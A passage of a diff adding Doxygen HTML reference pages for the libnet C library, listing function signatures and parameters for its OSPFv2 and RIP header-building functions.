+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a70" doxytag="libnet-functions.h::libnet_build_ospfv2_dbd" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ospfv2_dbd </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>dgram_len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>opts</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>seqnum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a69" doxytag="libnet-functions.h::libnet_build_ospfv2_hello" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ospfv2_hello </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>netmask</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>interval</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>opts</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>priority</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>dead_int</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>des_rtr</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>bkup_rtr</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>neighbor</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a73" doxytag="libnet-functions.h::libnet_build_ospfv2_lsa" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ospfv2_lsa </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>age</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>opts</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>lsid</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>advrtr</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>seqnum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a77" doxytag="libnet-functions.h::libnet_build_ospfv2_lsa_as" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ospfv2_lsa_as </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>nmask</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>metric</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>fwdaddr</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>tag</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a75" doxytag="libnet-functions.h::libnet_build_ospfv2_lsa_net" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ospfv2_lsa_net </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>nmask</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>rtrid</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a74" doxytag="libnet-functions.h::libnet_build_ospfv2_lsa_rtr" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ospfv2_lsa_rtr </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>flags</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>num</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>data</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>tos</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>metric</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a76" doxytag="libnet-functions.h::libnet_build_ospfv2_lsa_sum" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ospfv2_lsa_sum </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>nmask</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>metric</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>tos</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a71" doxytag="libnet-functions.h::libnet_build_ospfv2_lsr" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ospfv2_lsr </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>lsid</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>advrtr</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a72" doxytag="libnet-functions.h::libnet_build_ospfv2_lsu" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ospfv2_lsu </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int&nbsp;</td>
+ <td class="mdname" nowrap> <em>num</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a59" doxytag="libnet-functions.h::libnet_build_rip" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_rip </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>cmd</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>version</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>rd</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>af</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>rt</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>addr</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>mask</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>next_hop</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>metric</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a Routing Information Protocol header (RFCs 1058 and 2453). <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>cmd</em>&nbsp;</td><td>command </td></tr>
+ <tr><td valign=top><em>version</em>&nbsp;</td><td>protocol version </td></tr>
+ <tr><td valign=top><em>rd</em>&nbsp;</td><td>version one: 0, version two: routing domain </td></tr>
+ <tr><td valign=top><em>af</em>&nbsp;</td><td>address family </td></tr>
+ <tr><td valign=top><em>rt</em>&nbsp;</td><td>version one: 0, version two: route tag </td></tr>
+ <tr><td valign=top><em>addr</em>&nbsp;</td><td>IPv4 address </td></tr>
+ <tr><td valign=top><em>mask</em>&nbsp;</td><td>version one: 0, version two: subnet mask </td></tr>
+ <tr><td valign=top><em>next_hop</em>&nbsp;</td><td>version one: 0, version two: next hop address </td></tr>
+ <tr><td valign=top><em>metric</em>&nbsp;</td><td>routing metric </td></tr>
